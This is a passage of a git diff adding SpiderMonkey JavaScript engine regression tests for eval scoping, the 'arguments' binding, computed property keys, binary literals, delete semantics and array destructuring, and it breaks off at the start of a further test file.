+// <https://tc39.es/ecma262/#sec-functiondeclarationinstantiation> doesn't create the
+// implicit |arguments| binding when no parameter expressions are present. This case
+// may be special-cased in implementations and therefore should be tested specifically.
+function f4(p = eval("var arguments")) {
+ let arguments;
+}
+assertThrowsInstanceOf(f4, SyntaxError);
+
+// Declare |arguments| when a following parameter is named |arguments|.
+function f5(p = eval("var arguments"), arguments) {}
+assertThrowsInstanceOf(f5, SyntaxError);
+
+// Declare |arguments| when a preceding parameter is named |arguments|.
+function f6(arguments, p = eval("var arguments")) {}
+assertThrowsInstanceOf(f6, SyntaxError);
+
+
+// Repeat the same kind of tests for arrow function.
+
+// Declare |arguments| when no pre-existing |arguments| bindings are present.
+var a1 = (p = eval("var arguments = 'param'")) => {
+ assertEq(arguments, "param");
+};
+a1();
+
+// Declare |arguments| when the function body contains an |arguments| var-binding.
+var a2 = (p = eval("var arguments = 'param'"), q = () => arguments) => {
+ var arguments = "local";
+ assertEq(arguments, "local");
+ assertEq(q(), "param");
+};
+a2();
+
+// Declare |arguments| when the function body contains an |arguments| function declaration.
+var a3 = (p = eval("var arguments = 'param'"), q = () => arguments) => {
+ function arguments() {}
+ assertEq(typeof arguments, "function");
+ assertEq(q(), "param");
+};
+a3();
+
+// Declare |arguments| when the function body contains an |arguments| lexical binding.
+var a4 = (p = eval("var arguments = 'param'"), q = () => arguments) => {
+ let arguments = "local";
+ assertEq(arguments, "local");
+ assertEq(q(), "param");
+};
+a4();
+
+// Declare |arguments| when a following parameter is named |arguments|.
+var a5 = (p = eval("var arguments"), arguments) => {};
+assertThrowsInstanceOf(a5, SyntaxError);
+
+// Declare |arguments| when a preceding parameter is named |arguments|.
+var a6 = (arguments, p = eval("var arguments")) => {};
+assertThrowsInstanceOf(a6, SyntaxError);
+
+// None of the direct eval calls introduced a global |arguments| binding.
+assertEq("arguments" in this, false);
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/eval/regress-531682.js b/js/src/tests/non262/eval/regress-531682.js
new file mode 100644
index 0000000000..416bc59fac
--- /dev/null
+++ b/js/src/tests/non262/eval/regress-531682.js
@@ -0,0 +1,32 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 4 -*- */
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 531682;
+var summary = 'Checking proper wrapping of scope in eval(source, scope)';
+var actual;
+var expect;
+
+//-----------------------------------------------------------------------------
+var x = 0;
+
+test();
+//-----------------------------------------------------------------------------
+
+function scope1() {
+ eval('var x = 1;');
+ return function() { return x; }
+}
+
+function test() {
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ // The scope chain in eval should be just scope1() and the global object.
+ actual = eval('x', scope1());
+ expect = 0;
+ reportCompare(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/eval/shell.js b/js/src/tests/non262/eval/shell.js
new file mode 100644
index 0000000000..e69de29bb2
--- /dev/null
+++ b/js/src/tests/non262/eval/shell.js
diff --git a/js/src/tests/non262/eval/undeclared-name-in-nested-strict-eval.js b/js/src/tests/non262/eval/undeclared-name-in-nested-strict-eval.js
new file mode 100644
index 0000000000..1cefe474b5
--- /dev/null
+++ b/js/src/tests/non262/eval/undeclared-name-in-nested-strict-eval.js
@@ -0,0 +1,26 @@
+// Any copyright is dedicated to the Public Domain.
+// http://creativecommons.org/licenses/publicdomain/
+"use strict";
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 514568;
+var summary =
+ "Verify that we don't optimize free names to gnames in eval code that's " +
+ "global, when the name refers to a binding introduced by a strict mode " +
+ "eval frame";
+
+print(BUGNUMBER + ": " + summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+var x = "global";
+assertEq(eval('var x = "eval"; eval("x")'), "eval");
+
+/******************************************************************************/
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
+print("Tests complete!");
diff --git a/js/src/tests/non262/execution-contexts/browser.js b/js/src/tests/non262/execution-contexts/browser.js
new file mode 100644
index 0000000000..e69de29bb2
--- /dev/null
+++ b/js/src/tests/non262/execution-contexts/browser.js
diff --git a/js/src/tests/non262/execution-contexts/regress-23346.js b/js/src/tests/non262/execution-contexts/regress-23346.js
new file mode 100644
index 0000000000..11fdbf8b93
--- /dev/null
+++ b/js/src/tests/non262/execution-contexts/regress-23346.js
@@ -0,0 +1,31 @@
+/* -*- tab-width: 8; indent-tabs-mode: nil; js-indent-level: 4 -*-
+ * This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+var BUGNUMBER = 23346;
+var CALL_CALLED = "PASSED";
+
+test();
+
+function f(x)
+{
+ if (x)
+ return call();
+
+ return "FAILED!";
+}
+
+function call()
+{
+ return CALL_CALLED;
+}
+
+function test()
+{
+ printStatus ("ECMA Section: 10.1.3: Variable Instantiation.");
+ printBugNumber (BUGNUMBER);
+
+ reportCompare ("PASSED", f(true),
+ "Unqualified reference should not see Function.prototype");
+}
diff --git a/js/src/tests/non262/execution-contexts/regress-448595-01.js b/js/src/tests/non262/execution-contexts/regress-448595-01.js
new file mode 100644
index 0000000000..4c9932a304
--- /dev/null
+++ b/js/src/tests/non262/execution-contexts/regress-448595-01.js
@@ -0,0 +1,55 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 448595;
+var summary = 'scope chain var declaration with initialiser in |with| clauses';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ var f;
+
+ expect = 'bar';
+
+ f = function(){
+ var e = "bar";
+ with({e:"foo"}) {
+ var e = "wibble";
+ };
+
+ actual = e;
+ }
+
+ f();
+
+ reportCompare(expect, actual, summary + ': with');
+
+ f = function(){
+ var e = "bar";
+ try
+ {
+ throw {e:"foo"};
+ }
+ catch(e) {
+ var e = "wibble";
+ };
+
+ actual = e;
+ }
+
+ f();
+
+ reportCompare(expect, actual, summary + ': catch');
+}
diff --git a/js/src/tests/non262/execution-contexts/shell.js b/js/src/tests/non262/execution-contexts/shell.js
new file mode 100644
index 0000000000..e69de29bb2
--- /dev/null
+++ b/js/src/tests/non262/execution-contexts/shell.js
diff --git a/js/src/tests/non262/expressions/11.1.5-01.js b/js/src/tests/non262/expressions/11.1.5-01.js
new file mode 100644
index 0000000000..7db12aada3
--- /dev/null
+++ b/js/src/tests/non262/expressions/11.1.5-01.js
@@ -0,0 +1,37 @@
+// Any copyright is dedicated to the Public Domain.
+// http://creativecommons.org/licenses/publicdomain/
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 520696;
+var summary =
+ 'Implement support for string literals as names for properties defined ' +
+ 'using ES5 get/set syntax';
+
+print(BUGNUMBER + ": " + summary);
+
+
+var o;
+
+o = { get "a b c"() { return 17; } };
+assertEq("get" in Object.getOwnPropertyDescriptor(o, "a b c"), true);
+
+o = eval('({ get "a b c"() { return 17; } })');
+assertEq("get" in Object.getOwnPropertyDescriptor(o, "a b c"), true);
+
+var f = eval("(function literalInside() { return { set 'c d e'(q) { } }; })");
+f = function literalInside() { return { set 'c d e'(q) { } }; };
+
+function checkO()
+{
+ assertEq(3.141592654 in o, true, "fractional-named property isn't in object");
+ assertEq(10000 in o, true, "exponential-named property is in object");
+ assertEq(0xdeadbeef in o, true, "hex-named property is in object");
+ assertEq("Infinity" in o, true, "numeric index stringified correctly");
+}
+
+o = eval('({ 3.141592654: "pi", 1e4: 17, 0xdeadbeef: "hex", 1e3000: "Infinity" })');
+checkO();
+o = { 3.141592654: "pi", 1e4: 17, 0xdeadbeef: "hex", 1e3000: "Infinity" };
+checkO();
+
+reportCompare(true, true);
diff --git a/js/src/tests/non262/expressions/ToPropertyKey-symbols.js b/js/src/tests/non262/expressions/ToPropertyKey-symbols.js
new file mode 100644
index 0000000000..32b3994b3c
--- /dev/null
+++ b/js/src/tests/non262/expressions/ToPropertyKey-symbols.js
@@ -0,0 +1,90 @@
+var symbols = [
+ Symbol(), Symbol("iterator"), Symbol.for("iterator"), Symbol.iterator
+];
+
+for (var sym of symbols) {
+ var key = {
+ toString() { return sym; }
+ };
+
+ // Test that ToPropertyKey can return a symbol in each of the following
+ // contexts.
+
+ // Computed property names.
+ var obj = {[key]: 13};
+ var found = Reflect.ownKeys(obj);
+ assertEq(found.length, 1);
+ assertEq(found[0], sym);
+
+ // Computed accessor property names.
+ var obj2 = {
+ get [key]() { return "got"; },
+ set [key](v) { this.v = v; }
+ };
+ assertEq(obj2[sym], "got");
+ obj2[sym] = 33;
+ assertEq(obj2.v, 33);
+
+ // Getting and setting properties.
+ assertEq(obj[key], 13);
+ obj[key] = 19;
+ assertEq(obj[sym], 19);
+ (function () { "use strict"; obj[key] = 20; })();
+ assertEq(obj[sym], 20);
+ obj[key]++;
+ assertEq(obj[sym], 21);
+
+ // Getting properties of primitive values.
+ Number.prototype[sym] = "success";
+ assertEq(Math.PI[key], "success");
+ delete Number.prototype[sym];
+
+ // Getting a super property.
+ class X {
+ [sym]() { return "X"; }
+ }
+ class Y extends X {
+ [sym]() { return super[key]() + "Y"; }
+ }
+ var y = new Y();
+ assertEq(y[sym](), "XY");
+
+ // Setting a super property.
+ class Z {
+ set [sym](v) {
+ this.self = this;
+ this.value = v;
+ }
+ }
+ class W extends Z {
+ set [sym](v) {
+ this.isW = true;
+ super[key] = v;
+ }
+ }
+ var w = new W();
+ w[key] = "ok";
+ assertEq(w.self, w);
+ assertEq(w.value, "ok");
+ assertEq(w.isW, true);
+
+ // Deleting properties.
+ obj = {[sym]: 1};
+ assertEq(delete obj[key], true);
+ assertEq(sym in obj, false);
+
+ // LHS of `in` expressions.
+ assertEq(key in {iterator: 0}, false);
+ assertEq(key in {[sym]: 0}, true);
+
+ // Methods of Object and Object.prototype
+ obj = {};
+ Object.defineProperty(obj, key, {value: "ok", enumerable: true});
+ assertEq(obj[sym], "ok");
+ assertEq(obj.hasOwnProperty(key), true);
+ assertEq(obj.propertyIsEnumerable(key), true);
+ var desc = Object.getOwnPropertyDescriptor(obj, key);
+ assertEq(desc.value, "ok");
+}
+
+reportCompare(0, 0);
diff --git a/js/src/tests/non262/expressions/binary-literals.js b/js/src/tests/non262/expressions/binary-literals.js
new file mode 100644
index 0000000000..df1f2ed6f3
--- /dev/null
+++ b/js/src/tests/non262/expressions/binary-literals.js
@@ -0,0 +1,115 @@
+// Any copyright is dedicated to the Public Domain.
+// http://creativecommons.org/licenses/publicdomain/
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 894026;
+var summary = "Implement ES6 binary literals";
+
+print(BUGNUMBER + ": " + summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+var chars = ['b', 'B'];
+
+for (var i = 0; i < 2; i++)
+{
+ if (i === 2)
+ {
+ chars.forEach(function(v)
+ {
+ try
+ {
+ eval('0' + v + i);
+ throw "didn't throw";
+ }
+ catch (e)
+ {
+ assertEq(e instanceof SyntaxError, true,
+ "no syntax error evaluating 0" + v + i + ", " +
+ "got " + e);
+ }
+ });
+ continue;
+ }
+
+ for (var j = 0; j < 2; j++)
+ {
+ if (j === 2)
+ {
+ chars.forEach(function(v)
+ {
+ try
+ {
+ eval('0' + v + i + j);
+ throw "didn't throw";
+ }
+ catch (e)
+ {
+ assertEq(e instanceof SyntaxError, true,
+ "no syntax error evaluating 0" + v + i + j + ", " +
+ "got " + e);
+ }
+ });
+ continue;
+ }
+
+ for (var k = 0; k < 2; k++)
+ {
+ if (k === 2)
+ {
+ chars.forEach(function(v)
+ {
+ try
+ {
+ eval('0' + v + i + j + k);
+ throw "didn't throw";
+ }
+ catch (e)
+ {
+ assertEq(e instanceof SyntaxError, true,
+ "no syntax error evaluating 0" + v + i + j + k + ", " +
+ "got " + e);
+ }
+ });
+ continue;
+ }
+
+ chars.forEach(function(v)
+ {
+ assertEq(eval('0' + v + i + j + k), i * 4 + j * 2 + k);
+ });
+ }
+ }
+}
+
+chars.forEach(function(v)
+{
+ try
+ {
+ }
+ catch (e)
+ {
+ assertEq(e instanceof SyntaxError, true,
+ "no syntax error evaluating 0" + v + ", got " + e);
+ }
+});
+
+// Off-by-one check: '/' immediately precedes '0'.
+assertEq(0b110/1, 6);
+assertEq(0B10110/1, 22);
+
+function strict()
+{
+ "use strict";
+ return 0b11010101;
+}
+assertEq(strict(), 128 + 64 + 16 + 4 + 1);
+
+/******************************************************************************/
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
+print("Tests complete");
diff --git a/js/src/tests/non262/expressions/browser.js b/js/src/tests/non262/expressions/browser.js
new file mode 100644
index 0000000000..e69de29bb2
--- /dev/null
+++ b/js/src/tests/non262/expressions/browser.js
diff --git a/js/src/tests/non262/expressions/computed-property-side-effects.js b/js/src/tests/non262/expressions/computed-property-side-effects.js
new file mode 100644
index 0000000000..54dec7416b
--- /dev/null
+++ b/js/src/tests/non262/expressions/computed-property-side-effects.js
@@ -0,0 +1,35 @@
+// Any copyright is dedicated to the Public Domain.
+// http://creativecommons.org/licenses/publicdomain/
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 1199695;
+var summary =
+ "Computed property names must be considered as always effectful even when " +
+ "the name expression isn't effectful, because calling ToPropertyKey on " +
+ "some non-effectful expressions has user-modifiable behavior";
+
+print(BUGNUMBER + ": " + summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+RegExp.prototype.toString = () => { throw 42; };
+assertThrowsValue(function() {
+ ({ [/regex/]: 0 }); // ToPropertyKey(/regex/) throws 42
+}, 42);
+
+function Q() {
+ ({ [new.target]: 0 }); // new.target will be Q, ToPropertyKey(Q) throws 17
+}
+Q.toString = () => { throw 17; };
+assertThrowsValue(function() {
+ new Q;
+}, 17);
+
+/******************************************************************************/
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
+print("Tests complete");
diff --git a/js/src/tests/non262/expressions/constant-folded-labeled-statement.js b/js/src/tests/non262/expressions/constant-folded-labeled-statement.js
new file mode 100644
index 0000000000..245693b50d
--- /dev/null
+++ b/js/src/tests/non262/expressions/constant-folded-labeled-statement.js
@@ -0,0 +1,14 @@
+var BUGNUMBER = 1499448;
+var summary = "Constant folder should fold labeled statements";
+
+print(BUGNUMBER + ": " + summary);
+
+if (typeof disassemble === "function") {
+ var code = disassemble(() => { x: 2+2; });
+
+ if (typeof reportCompare === "function")
+ reportCompare(true, /Int8 4/.test(code));
+}
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/expressions/delete-constant-folded-and-or.js b/js/src/tests/non262/expressions/delete-constant-folded-and-or.js
new file mode 100644
index 0000000000..9576413a68
--- /dev/null
+++ b/js/src/tests/non262/expressions/delete-constant-folded-and-or.js
@@ -0,0 +1,41 @@
+// Any copyright is dedicated to the Public Domain.
+// http://creativecommons.org/licenses/publicdomain/
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 1183400;
+var summary =
+ "Deletion of a && or || expression that constant-folds to a name must not " +
+ "attempt to delete the name";
+
+print(BUGNUMBER + ": " + summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+Object.defineProperty(this, "nonconfigurable", { value: 42 });
+assertEq(nonconfigurable, 42);
+
+assertEq(delete nonconfigurable, false);
+assertEq(delete (true && nonconfigurable), true);
+
+function nested()
+{
+ assertEq(delete nonconfigurable, false);
+ assertEq(delete (true && nonconfigurable), true);
+}
+nested();
+
+function nestedStrict()
+{
+ "use strict";
+ assertEq(delete (true && nonconfigurable), true);
+}
+nestedStrict();
+
+/******************************************************************************/
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
+print("Tests complete");
diff --git a/js/src/tests/non262/expressions/delete-name-parenthesized-early-error-strict-mode.js b/js/src/tests/non262/expressions/delete-name-parenthesized-early-error-strict-mode.js
new file mode 100644
index 0000000000..d28afb665c
--- /dev/null
+++ b/js/src/tests/non262/expressions/delete-name-parenthesized-early-error-strict-mode.js
@@ -0,0 +1,76 @@
+// Any copyright is dedicated to the Public Domain.
+// http://creativecommons.org/licenses/publicdomain/
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 1111101;
+var summary =
+ "delete (foo), delete ((foo)), and so on are strict mode early errors";
+
+print(BUGNUMBER + ": " + summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+function checkSyntaxError(code)
+{
+ function helper(maker)
+ {
+ var earlyError = false;
+ try
+ {
+ var f = maker(code);
+
+ var error = "no early error, created a function with code <" + code + ">";
+ try
+ {
+ f();
+ error += ", and the function can be called without error";
+ }
+ catch (e)
+ {
+ error +=", and calling the function throws " + e;
+ }
+
+ throw new Error(error);
+ }
+ catch (e)
+ {
+ assertEq(e instanceof SyntaxError, true,
+ "expected syntax error, got " + e);
+ }
+ }
+
+ helper(Function);
+ helper(eval);
+}
+
+checkSyntaxError("function f() { 'use strict'; delete escape; } f();");
+checkSyntaxError("function f() { 'use strict'; delete escape; }");
+checkSyntaxError("function f() { 'use strict'; delete (escape); } f();");
+checkSyntaxError("function f() { 'use strict'; delete (escape); }");
+checkSyntaxError("function f() { 'use strict'; delete ((escape)); } f();");
+checkSyntaxError("function f() { 'use strict'; delete ((escape)); }");
+
+// Meanwhile, non-strict all of these should work
+
+function checkFine(code)
+{
+ Function(code);
+ (1, eval)(code); // indirect, to be consistent w/above
+}
+
+checkFine("function f() { delete escape; } f();");
+checkFine("function f() { delete escape; }");
+checkFine("function f() { delete (escape); } f();");
+checkFine("function f() { delete (escape); }");
+checkFine("function f() { delete ((escape)); } f();");
+checkFine("function f() { delete ((escape)); }");
+
+
+/******************************************************************************/
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
+print("Tests complete");
diff --git a/js/src/tests/non262/expressions/destructuring-array-default-call.js b/js/src/tests/non262/expressions/destructuring-array-default-call.js
new file mode 100644
index 0000000000..a3a3622054
--- /dev/null
+++ b/js/src/tests/non262/expressions/destructuring-array-default-call.js
@@ -0,0 +1,10 @@
+var BUGNUMBER = 1184922;
+var summary = "Array destructuring with various default values in various context - call/new expression";
+
+print(BUGNUMBER + ": " + summary);
+
+testDestructuringArrayDefault("func()");
+testDestructuringArrayDefault("new func()");
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/expressions/destructuring-array-default-class.js b/js/src/tests/non262/expressions/destructuring-array-default-class.js
new file mode 100644
index 0000000000..8083089286
--- /dev/null
+++ b/js/src/tests/non262/expressions/destructuring-array-default-class.js
@@ -0,0 +1,72 @@
+var BUGNUMBER = 1184922;
+var summary = "Array destructuring with various default values in various context - class expression and super/new.target";
+
+print(BUGNUMBER + ": " + summary);
+
+testDestructuringArrayDefault(`class E {
+ constructor() {}
+ method() {}
+ get v() {}
+ set v(_) {}
+ static method() {}
+ static get v() {}
+ static set v(_) {}
+}`);
+
+testDestructuringArrayDefault(`class E extends C {
+ constructor() {}
+ method() {}
+ get v() {}
+ set v(_) {}
+ static method() {}
+ static get v() {}
+ static set v(_) {}
+}`);
+
+var opt = {
+ no_plain: true,
+ no_func: true,
+ no_func_arg: true,
+ no_gen: true,
+ no_gen_arg: true,
+ no_ctor: true,
+ no_method: true,
+ no_pre_super: true,
+ no_comp: true,
+
+ no_derived_ctor: false,
+};
+testDestructuringArrayDefault("super()", opt);
+
+opt = {
+ no_plain: true,
+ no_func: true,
+ no_func_arg: true,
+ no_gen: true,
+ no_gen_arg: true,
+ no_ctor: true,
+ no_comp: true,
+
+ no_derived_ctor: false,
+ no_method: false,
+ no_pre_super: false,
+};
+testDestructuringArrayDefault("super.foo()", opt);
+
+opt = {
+ no_plain: true,
+
+ no_func: false,
+ no_func_arg: false,
+ no_gen: false,
+ no_gen_arg: false,
+ no_ctor: false,
+ no_derived_ctor: false,
+ no_method: false,
+ no_pre_super: false,
+ no_comp: false,
+};
+testDestructuringArrayDefault("new.target", opt);
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/expressions/destructuring-array-default-function-nested.js b/js/src/tests/non262/expressions/destructuring-array-default-function-nested.js
new file mode 100644
index 0000000000..99260b9895
--- /dev/null
+++ b/js/src/tests/non262/expressions/destructuring-array-default-function-nested.js
@@ -0,0 +1,11 @@
+var BUGNUMBER = 1184922;
+var summary = "Array destructuring with various default values in various context - function expression with nested objects";
+
+print(BUGNUMBER + ": " + summary);
+
+testDestructuringArrayDefault("function f() { return { f() {}, *g() {}, r: /a/ }; }");
+testDestructuringArrayDefault("function* g() { return { f() {}, *g() {}, r: /b/ }; }");
+testDestructuringArrayDefault("() => { return { f() {}, *g() {}, r: /c/ }; }");
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/expressions/destructuring-array-default-function.js b/js/src/tests/non262/expressions/destructuring-array-default-function.js
new file mode 100644
index 0000000000..5d2ffef188
--- /dev/null
+++ b/js/src/tests/non262/expressions/destructuring-array-default-function.js
@@ -0,0 +1,11 @@
+var BUGNUMBER = 1184922;
+var summary = "Array destructuring with various default values in various context - function expression";
+
+print(BUGNUMBER + ": " + summary);
+
+testDestructuringArrayDefault("function f() {}");
+testDestructuringArrayDefault("function* g() {}");
+testDestructuringArrayDefault("() => {}");
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/expressions/destructuring-array-default-simple.js b/js/src/tests/non262/expressions/destructuring-array-default-simple.js
new file mode 100644
index 0000000000..50c6c37f3d
--- /dev/null
+++ b/js/src/tests/non262/expressions/destructuring-array-default-simple.js
@@ -0,0 +1,16 @@
+var BUGNUMBER = 1184922;
+var summary = "Array destructuring with various default values in various context - simple literal";
+
+print(BUGNUMBER + ": " + summary);
+
+testDestructuringArrayDefault("'foo'");
+testDestructuringArrayDefault("`foo`");
+testDestructuringArrayDefault("func`foo`");
+
+testDestructuringArrayDefault("/foo/");
+
+testDestructuringArrayDefault("{}");
+testDestructuringArrayDefault("[]");
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/expressions/destructuring-array-default-yield.js b/js/src/tests/non262/expressions/destructuring-array-default-yield.js
new file mode 100644
index 0000000000..57ff9e9472
--- /dev/null
+++ b/js/src/tests/non262/expressions/destructuring-array-default-yield.js
@@ -0,0 +1,22 @@
+var BUGNUMBER = 1184922;
+var summary = "Array destructuring with various default values in various context - yield expression";
+
+print(BUGNUMBER + ": " + summary);
+
+var opt = {
+ no_plain: true,
+ no_func: true,
+ no_func_arg: true,
+ no_gen_arg: true,
+ no_ctor: true,
+ no_derived_ctor: true,
+ no_method: true,
+ no_pre_super: true,
+ no_comp: true,
+
+ no_gen: false,
+};
+testDestructuringArrayDefault("yield 1", opt);
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/expressions/destructuring-array-done.js b/js/src/tests/non262/expressions/destructuring-array-done.js
new file mode 100644
index 0000000000..f2c7e9410e
--- /dev/null
+++ b/js/src/tests/non262/expressions/destructuring-array-done.js
@@ -0,0 +1,319 @@
+var BUGNUMBER = 1184922;
+var summary = "iterator.next() should not be called when after iterator completes";
+
+print(BUGNUMBER + ": " + summary);
+
+var log;
+function reset() {
+ log = "";
+}
+var obj = new Proxy({}, {
+ set(that, name, value) {
+ var v;
+ if (value instanceof Function || value instanceof RegExp)
+ v = value.toString();
+ else
+ v = JSON.stringify(value);
+ log += "set:" + name + "=" + v + ",";
+ }
+});
+function createIterable(n) {
+ return {
+ i: 0,
+ [Symbol.iterator]() {
+ return this;
+ },
+ next() {
+ log += "next,";
+ this.i++;
+ if (this.i <= n)
+ return {value: this.i, done: false};
+ return {value: 0, done: true};
+ }
+ };
+}
+
+// Simple pattern.
+
+reset();
+[obj.a, obj.b, obj.c] = createIterable(0);
+assertEq(log,
+ "next," +
+ "set:a=undefined," +
+ "set:b=undefined," +
+ "set:c=undefined,");
+
+reset();
+[obj.a, obj.b, obj.c] = createIterable(1);
+assertEq(log,
+ "next," +
+ "set:a=1," +
+ "next," +
+ "set:b=undefined," +
+ "set:c=undefined,");
+
+reset();
+[obj.a, obj.b, obj.c] = createIterable(2);
+assertEq(log,
+ "next," +
+ "set:a=1," +
+ "next," +
+ "set:b=2," +
+ "next," +
+ "set:c=undefined,");
+
+reset();
+[obj.a, obj.b, obj.c] = createIterable(3);
+assertEq(log,
+ "next," +
+ "set:a=1," +
+ "next," +
+ "set:b=2," +
+ "next," +
+ "set:c=3,");
+
+// Elision.
+
+reset();
+[obj.a, , obj.b, , , obj.c, ,] = createIterable(0);
+assertEq(log,
+ "next," +
+ "set:a=undefined," +
+ "set:b=undefined," +
+ "set:c=undefined,");
+
+reset();
+[obj.a, , obj.b, , , obj.c, ,] = createIterable(1);
+assertEq(log,
+ "next," +
+ "set:a=1," +
+ "next," +
+ "set:b=undefined," +
+ "set:c=undefined,");
+
+reset();
+[obj.a, , obj.b, , , obj.c, ,] = createIterable(2);
+assertEq(log,
+ "next," +
+ "set:a=1," +
+ "next," +
+ "next," +
+ "set:b=undefined," +
+ "set:c=undefined,");
+
+reset();
+[obj.a, , obj.b, , , obj.c, ,] = createIterable(3);
+assertEq(log,
+ "next," +
+ "set:a=1," +
+ "next," +
+ "next," +
+ "set:b=3," +
+ "next," +
+ "set:c=undefined,");
+
+reset();
+[obj.a, , obj.b, , , obj.c, ,] = createIterable(4);
+assertEq(log,
+ "next," +
+ "set:a=1," +
+ "next," +
+ "next," +
+ "set:b=3," +
+ "next," +
+ "next," +
+ "set:c=undefined,");
+
+reset();
+[obj.a, , obj.b, , , obj.c, ,] = createIterable(5);
+assertEq(log,
+ "next," +
+ "set:a=1," +
+ "next," +
+ "next," +
+ "set:b=3," +
+ "next," +
+ "next," +
+ "next," +
+ "set:c=undefined,");
+
+reset();
+[obj.a, , obj.b, , , obj.c, ,] = createIterable(6);
+assertEq(log,
+ "next," +
+ "set:a=1," +
+ "next," +
+ "next," +
+ "set:b=3," +
+ "next," +
+ "next," +
+ "next," +
+ "set:c=6," +
+ "next,");
+
+reset();
+[obj.a, , obj.b, , , obj.c, ,] = createIterable(7);
+assertEq(log,
+ "next," +
+ "set:a=1," +
+ "next," +
+ "next," +
+ "set:b=3," +
+ "next," +
+ "next," +
+ "next," +
+ "set:c=6," +
+ "next,");
+
+// Rest.
+
+reset();
+[...obj.r] = createIterable(0);
+assertEq(log,
+ "next," +
+ "set:r=[],");
+
+reset();
+[...obj.r] = createIterable(1);
+assertEq(log,
+ "next," +
+ "next," +
+ "set:r=[1],");
+
+reset();
+[obj.a, ...obj.r] = createIterable(0);
+assertEq(log,
+ "next," +
+ "set:a=undefined," +
+ "set:r=[],");
+
+reset();
+[obj.a, ...obj.r] = createIterable(1);
+assertEq(log,
+ "next," +
+ "set:a=1," +
+ "next," +
+ "set:r=[],");
+
+reset();
+[obj.a, ...obj.r] = createIterable(2);
+assertEq(log,
+ "next," +
+ "set:a=1," +
+ "next," +
+ "next," +
+ "set:r=[2],");
+
+reset();
+[obj.a, obj.b, ...obj.r] = createIterable(0);
+assertEq(log,
+ "next," +
+ "set:a=undefined," +
+ "set:b=undefined," +
+ "set:r=[],");
+
+reset();
+[obj.a, obj.b, ...obj.r] = createIterable(1);
+assertEq(log,
+ "next," +
+ "set:a=1," +
+ "next," +
+ "set:b=undefined," +
+ "set:r=[],");
+
+reset();
+[obj.a, obj.b, ...obj.r] = createIterable(2);
+assertEq(log,
+ "next," +
+ "set:a=1," +
+ "next," +
+ "set:b=2," +
+ "next," +
+ "set:r=[],");
+
+reset();
+[obj.a, obj.b, ...obj.r] = createIterable(3);
+assertEq(log,
+ "next," +
+ "set:a=1," +
+ "next," +
+ "set:b=2," +
+ "next," +
+ "next," +
+ "set:r=[3],");
+
+// Rest and elision.
+
+reset();
+[, ...obj.r] = createIterable(0);
+assertEq(log,
+ "next," +
+ "set:r=[],");
+
+reset();
+[, ...obj.r] = createIterable(1);
+assertEq(log,
+ "next," +
+ "next," +
+ "set:r=[],");
+
+reset();
+[, ...obj.r] = createIterable(2);
+assertEq(log,
+ "next," +
+ "next," +
+ "next," +
+ "set:r=[2],");
+
+reset();
+[obj.a, obj.b, , ...obj.r] = createIterable(0);
+assertEq(log,
+ "next," +
+ "set:a=undefined," +
+ "set:b=undefined," +
+ "set:r=[],");
+
+reset();
+[obj.a, obj.b, , ...obj.r] = createIterable(1);
+assertEq(log,
+ "next," +
+ "set:a=1," +
+ "next," +
+ "set:b=undefined," +
+ "set:r=[],");
+
+reset();
+[obj.a, obj.b, , ...obj.r] = createIterable(2);
+assertEq(log,
+ "next," +
+ "set:a=1," +
+ "next," +
+ "set:b=2," +
+ "next," +
+ "set:r=[],");
+
+reset();
+[obj.a, obj.b, , ...obj.r] = createIterable(3);
+assertEq(log,
+ "next," +
+ "set:a=1," +
+ "next," +
+ "set:b=2," +
+ "next," +
+ "next," +
+ "set:r=[],");
+
+reset();
+[obj.a, obj.b, , ...obj.r] = createIterable(4);
+assertEq(log,
+ "next," +
+ "set:a=1," +
+ "next," +
+ "set:b=2," +
+ "next," +
+ "next," +
+ "next," +
+ "set:r=[4],");
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/expressions/destructuring-array-lexical.js b/js/src/tests/non262/expressions/destructuring-array-lexical.js
new file mode 100644
